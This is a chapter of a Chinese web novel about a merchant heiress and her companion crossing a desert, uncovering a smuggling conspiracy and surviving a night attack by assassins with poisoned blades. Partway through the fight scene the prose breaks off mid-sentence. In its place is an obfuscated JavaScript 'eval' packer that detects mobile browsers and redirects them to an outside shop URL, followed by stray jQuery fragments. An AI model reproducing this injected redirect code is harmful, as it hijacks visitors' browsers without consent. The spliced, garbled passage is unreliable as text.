两人之间的吻持续了很久,直到肺腑间的空气几乎耗尽,才松开彼此,滚烫的额头相抵,一时呼吸还处在狂乱之中。
裘敖依旧搂着娜茜扎垭,另一只手从胸口的衣服中摸出火折子擦亮,放进她手中,一小团暖黄的光晕腾起。
“原来是火折子,我就说老有东西硌着我。”
在黑暗中待了太久,娜茜扎垭不太适应骤然的亮光,眼睛微眯,面色却依旧潮红。
裘敖就着摇曳的火光,目光一寸寸描摹娜茜扎垭的眉眼,然后向下瞥见她嘴唇上被他咬破的伤口,还在流着血。
“对不起……”裘敖开口说话,才发现自己的声音哑得不成样子,清了清嗓子重新说,“娜茜,快擦擦。”
“没事。”娜茜扎垭不甚在意,再次倾身将挂着血珠的嘴唇印上裘敖的唇珠。
“就当再立一次血誓,”她厮磨唇瓣,满意地看着裘敖唇上的血,“这次不是你的权宜之计,是我要你真心相付,我娶你。”
外面的风彻底停了。
本来是为了躲避沙暴才进入这口井,井内潮湿,不宜久留,但现下气氛旖旎缱绻,竟谁也不愿出去。
娜茜扎垭坐在裘敖腿上,索性放松身体,被他牢牢圈在怀中。他的下巴抵在她发顶,有些尖锐地疼,但她并不反感,反而有些享受。
她埋首在他胸口,鼻尖萦绕着他身上沙漠的气息,眼眶忽然有些发热。
她娜茜扎垭是瓦木迪家族的大小姐,虽然金尊玉贵,众星捧月地长大,才智,武艺都不输她三个哥哥,名满西域三十六国。
但仅仅因为她是女孩,便不能承袭汗位,只能活在父亲和哥哥们的羽翼之下。
但她心有不甘。
她不愿做一个只能被保护的雀鸟,一辈子被关在瓦木迪家族的商业网络中做生意,她也想搏击长空,开辟新商路,建功立业,捍卫家族的荣耀。
因此,她才主动接了这兵器走私一案。
她知道此事牵扯重大,本已做好了孤身奋战,乃至粉身碎骨的准备。
却不想,在这条路上,遇见了裘敖。
情人也好,盟友也罢,但从此这条前路未卜,杀机四伏的路,或许依旧难走,但不至于寸步难行了。
“该出去了,赶路要紧。”
温存良久,娜茜扎垭轻拍裘敖的肩,示意他放开自己。
裘敖依依不舍地松了手,但手指依旧勾着娜茜扎垭的衣角,一副生怕她离开的样子。
“回了你家,是不是就不能再这样了。”
娜茜扎垭原本举着火折子照亮梯子,正准备爬上去,听见裘敖幽怨的语气,先是一怔,随即低笑出声:“我真是看错你了。”
“什么?”裘敖心下一紧。
“本来以为你是个硬朗的汉子,怎么这么患得患失,像个怨夫似的。”娜茜扎垭笑弯了腰。
“你不喜欢,我就不动了。”
裘敖松开她的衣角,赧然揉搓着手指,似乎还能感受到她身上的余温。
娜茜扎垭主动牵上裘敖的手,爽朗地笑着:“没不喜欢,牵着吧。”
裘敖立刻扣紧手指,跟在她身后爬上梯子。
掀开盖在井口的木板,月光大盛倾泻而下,星辰碎银子一般洒满夜空。
娜茜扎垭却无心欣赏,草草扑打掉身上的灰尘,跨上马背。
***
娜茜扎垭想着沙暴耽误时间太久,便和裘敖连着赶了一天一夜的路,终于穿越塔克钦沙漠,在戈壁和沙漠的交界处扎营。
篝火噼啪作响,驱散戈壁夜间的寒意。
裘敖拨弄着篝火,让娜茜扎垭休息,自己守夜。但娜茜扎垭睡不着,她裹着毛毯,与裘敖隔火相坐。
她凝视着跳动的火焰,梳理着脑海中的一片乱麻。
这一路上她心中快速梳理着线索:查陵涅族走私的兵器,中原的机械式样,还有天枢司,甚至是那个来历不明的昙公子……
查陵涅族要扩张版图,要吞并三十六国,无非是野心。但中原势力为何要参与?
天枢司是中原最大的情报机构,手眼通天,他们或许为权,但那些军械资源,似乎并不是一个以收发情报为主的机构能轻易调动的。
除非,有更高层级的授意。
她想起皇帝的密旨。
难道是真如她所料,皇帝为了不让瓦木迪家族把持商路,故意演了这么一出戏,让他们家自投罗网吗?
可他们家只是小小的商人,何至于中原皇帝如此大费周章?
“你在想什么?”裘敖的话打断她的思绪。
他靠在岩壁上,手里拿着一块磨刀石,缓缓打磨弯刀的刀刃。
“在想他们到底想要什么。”娜茜扎垭如实说,“查陵涅族,天枢司,甚至中原,搅乱西域,对谁最有利?”
“那些想趁乱牟利的人。”裘敖停下磨刀的动作,刀刃反射火光,映亮他半边面颊,“查陵涅族要土地,要统治,我魑族被灭国就是例子,他们一定给了天枢司不可拒绝的好处,才达成合作,至于中原……”
裘敖顿了顿,接着说:“或许有人不满足于藩国关系,觉得一个战乱的西域,比一个和平的西域更好控制。”
“分而治之。”娜茜扎垭明白裘敖的意思。
极其有效的权术,古往今来不少统治者都想到了这一点。
如果西域三十六国陷入混战,中原便可借口“调停”“维/稳”,然后逐步渗透,最终将整个西域彻底掌控,纳为疆土。
代价将是战火纷乱,无数城池化为焦土,人命无数。
裘敖想要说点什么宽慰,远处忽然传来一声短促的哨音。
有敌袭!
只见一群黑衣刺客像一群黑色的蝙蝠,借着夜色掩护直扑营地而下。
裘敖弹身而起,弯刀出鞘,立刻斩向最近的黑影,刀锋相撞,火光迸溅。
另一把刀砍下,裘敖躲闪不及,被刀刃剜进肩头,鲜血迸溅,伤口立刻肿起,泛起一阵青紫。
居然淬了毒?
娜茜扎垭抽出短刀,冲开一支射来的飞镖,刀光流转,她挡住一名刺客突刺,轻松挑断对方手筋。
裘敖回头望向娜茜扎垭,狂吼一句:“刀上有毒,小心!”
娜茜扎垭一愣。
就这一愣神的功夫,另一名刺客已经扑到面前,刀刃直直刺向心口。
娜茜扎垭向后仰倒,刀刃擦着她锁骨划过,割开衣服,在皮肤上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17046710|194753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
留下一道火辣辣的血痕。
她倒地捂住伤口,挥刀了结扑上来的刺客,翻身躲过另外两人,再次举刀格挡。
一支箭从侧面射来,瞬间贯穿刺客咽喉。
尸体瘫软,露出后方裘敖的身影。
他举着从死去的刺客手中夺走的弩,肩头一道透出白骨的伤口血流不止,但他站得很稳,暗金色的眸中透出冰冷的杀意。
剩下的两名刺客见势不妙,转身欲逃,裘敖连射两箭,一箭穿心,一箭断腿。
断腿那人还想挣扎着爬起,娜茜扎垭一脚踩住他受伤之处,狠狠碾了几圈。听倦了那人痛苦的叫声,她才将地上尸体手中的毒刀捅进刺客的脖颈。
鲜血如注,那人抽搐了几下死去,营地再次陷入寂静,四周至于篝火的噼啪声。
娜茜扎垭踹开死透了的尸体,跪坐在地上。
锁骨处的伤口不深,但被划破的地方开始传来麻木感。她撕开衣料,伤口边缘已经开始发黑。
“别动。”裘敖走过来,单膝跪在她面前,小心避开娜茜扎垭的胸口,注视着她的伤。
他从怀中掏出一个小袋,倒出些药粉在掌心,混着水囊里的水搅成糊状,涂抹到干净的布条上,缠上娜茜扎垭的伤口。
药糊接触到皮肤的瞬间,一阵剧痛袭来,娜茜扎垭咬紧牙关,虽然忍住了声音,但额头布满了冷汗。
裘敖的手很稳,将药糊深深按进伤口,毒血被药力逼出,混着药糊滴落。
“这是老祭司配的药粉,能解百毒。”
娜茜扎垭低头看着他。他肩头的伤口还在流血,伤口颜色骇人,分明也是中了毒,几乎透处白骨。
但他好像好像并不在意,全都注意着她这道不怎么深的划痕上。
她忽然伸出手,按住他正在为自己敷药的手腕。
“我没事,先处理你肩上的伤。”
裘敖拂开娜茜扎垭的手,抬起眼,两人的目光在火光中相撞。
从枯井中出来,这是他们再一次靠得这么近,娜茜扎垭清楚地感受到他呼吸的节奏,闻到他身上沙土与血腥混杂的气息。
“没事,我习惯了。”裘敖轻咳一声,耳根微微泛红。
敷完药,裘敖从干净的里衣上扯了一块布条,熟练地包扎好她的伤口,然后才处理自己的肩上,手法却粗糙得多,药粉胡乱洒满,衣服草草一缠了事。
娜茜扎垭静静地看着,没说话,只是拿起身边原本盖着的毛毯,扑了扑灰尘,搭在裘敖身上。
“这么有组织的刺客,还有淬了毒的兵器……这怕不止是简单的刺杀,而是宣告了。”娜茜扎垭望着渐亮的天边,轻声道。
“宣告什么?”裘敖往篝火里添了把枯枝,让火烧得更旺。
“宣告西域这盘棋,已经有人落子了,而我们,正走在棋盘中央,被众人围剿。”娜茜扎垭眼神锐利。
晨光撕开夜幕,二人再次启程。
他们并骑而行,东方的天际泛起鱼肚白,远处珞目边境的烽火影子已经隐约可见。
“走吧,”裘敖紧握缰绳,“我们去看看棋盘对面,坐着的究竟是谁。”
家,就快到了。
真正的风暴,或许也刚刚开始。